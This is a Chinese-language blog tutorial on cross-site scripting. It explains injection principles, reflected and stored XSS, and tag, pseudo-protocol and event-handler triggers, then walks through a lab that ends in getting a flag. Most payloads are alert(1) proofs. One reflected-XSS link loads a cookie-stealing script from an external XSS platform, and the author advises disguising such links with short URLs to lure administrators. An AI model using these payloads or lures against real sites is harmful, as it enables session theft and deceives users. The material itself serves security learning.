XSS的原理分析与解剖

什么是XSS?
XSS可以理解为前端代码注入(前端代码包括HTML,CSS,JavaScript)
注入攻击的本质,是把用户输入的数据当做代码执行。
这里有两个关键条件:
第一个是用户能够控制输入
第二个是原本程序要执行的代码,拼接了用户输入的数据

那么XSS主要拼接的是什么?
SQL注入拼接的是操作数据库的SQL语句。
XSS拼接的是网页的HTML代码,一般而言我们是可以拼接合适的HTML代码去执行恶意的JS语句(总结: xss就是拼接恶意的HTML)

XSS能做什么?
盗取Cookie(用的最频繁的)
获取内网ip
截取网页屏幕
获取浏览器保存的明文密码
网页上的键盘记录.

XSS的类型
反射型XSS(你提交的数据成功的实现了XSS,但是仅仅是对你这次访问产生了影响,是非持久型攻击) --用户自己传参了恶意代码才能触发
存储型XSS(你提交的数据成功的实现了XSS,存入了数据库,别人访问这个页面的时候就会自动触发)
DOM型XSS (比较复杂,后面学到了再补充)

前端与后端
前端的核心在于展示,将页面展示给你看
后端的核心在于处理,满足功能要求
而前面所说的前端代码
HTML【骨架】
CSS【衣服】
JavaScript【操纵浏览器,达成一些功能】

如果你可以证明你自己能够任意操纵网页上的JS,那么他就有XSS漏洞
JS触发
1.
所以你得诱导别人去传参这个标签
2.伪协议触发
伪:假的东西–>不大众的协议 weishi:// telnet:// php:// javascript:// 在特定的地方触发
http:// ftp:// https:// -->大家都认可的协议 在每一个地方都能触发
例如上面的javascript:alert(1)
<a ·href=“http://www.baidu.com” >baidu</ a>
这里你在页面上看到的是baidu的字样点进去就跳转到了百度的网站,因为里面的超链接是百度的网址
baidu</ a>
如果是这样就是一个为协议触发,点进去就触发了XSS,因为源码存储的语句就是上面的
3.事件触发
由于某个原因导致了事件的发生
事件触发的是Js语句·on
例如:<img src=“https:/ /www.baidu.com/ imgPCtm d9c8750bed0b3c7d089fa7d55720d6cf.png” ·οnlοad=alert(1)/>
这里加载的是百度的一张图片,如果成功加载就触发XSS,这里的事件可以有很多种比如加载失败的时候触发

这个时候你肯定想拿个站点试试XSS,这个时候你可以去找一个免费的XSS平台,但是注意这个平台是别人搭建的,你在偷别人Cookie的同时它可能也会偷你的Cookie,所以用的时候最好开个无痕浏览模式,这里我也懒得演示了,有兴趣的自己去试一试

今天主要是说反射型XSS
反射型XSS
让别人访问链接然后触发
例如:192.168.222.131/a.php?a=<sCRiPt%20sRC=//xsshs.cn/PhpU>
反射型的危害要比存储型的低, 为什么这么说因为你想偷到管理员的Cookie的话你得去诱骗管理员点它,但管理员又不是傻子,这个链接一看就不正经我怎么会去点
在这里插入图片描述
所以我们可以用短链接去迷惑别人
在这里插入图片描述
可以随便找个生成短链接的平台就行
http://22j.co/es6M 这样看起来是不是就正经多了,然后在配上些文字
在这里插入图片描述
在这里插入图片描述

既然是偷Cookie,那我们能偷什么网站的Cookie呢?
这里强调一个东西:
同源性法则
同源:同协议、同Ip(域名)、同端口

那么上靶场吧
在这里插入图片描述
在这里插入图片描述
XSS见框就插
1.传参
2.看输出点
在这里插入图片描述
这里我们输入的东西上面显示出来了,说明它没有被当作代码执行
那它是什么情况呢,右键检查看一下
在这里插入图片描述
这里看着都很正常,那我们在右键编辑一下
在这里插入图片描述
在这里插入图片描述
这里我们发现它被转码了<>尖括号消失了,说明这里尖括号不能用
那这里标签就不能触发了,还有两种伪协议和事件触发
这里明显的是伪协议也用不了,我们没a标签和herf
但是事件触发也得在标签里,所以这里就不存在XSS,因为它过滤了
怎么办?
寻找输出点
在这里插入图片描述
在这里插入图片描述
我们发现框里输入的东西在url栏里也get传参
我们单独输入个尖括号看看会不会过滤
在这里插入图片描述
我们看到它在双引号里面,试试闭合掉双引号
在这里插入图片描述
然后发现它把双引号给转义了
那我们试试单引号
在这里插入图片描述
我们发现框里面的单引号不见了,说明它触发成功了
为什么可以用单引号触发?
前端代码是展示给用户看的,所以前端具有很高的容错性,它会把很多不合理的代码变的合理
我们右键检查所看到的代码不是真的
真实的代码我们要右键查看网页源码
在这里插入图片描述
源码这里写的就是单引号,而右键检查看到的是双引号
搞清楚这些之后我们用单引号闭合然后用oninput去触发,这里的意思就是在输入框里输入东西就触发
在这里插入图片描述
在这里插入图片描述
在里面随便输个东西就能触发
在这里插入图片描述
在这里插入图片描述
成功拿到flag,但这种操作条件有点苛刻要干着干那的,还得输入东西
这里有个骚姿势,焦点触发,输入进去之后它自动触发
payload : ’ οnfοcus=alert(1) autofocus //
当input输入框获取焦点时执行(onfocus)
在这里插入图片描述
在这里插入图片描述
直接弹窗

未完待续…

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值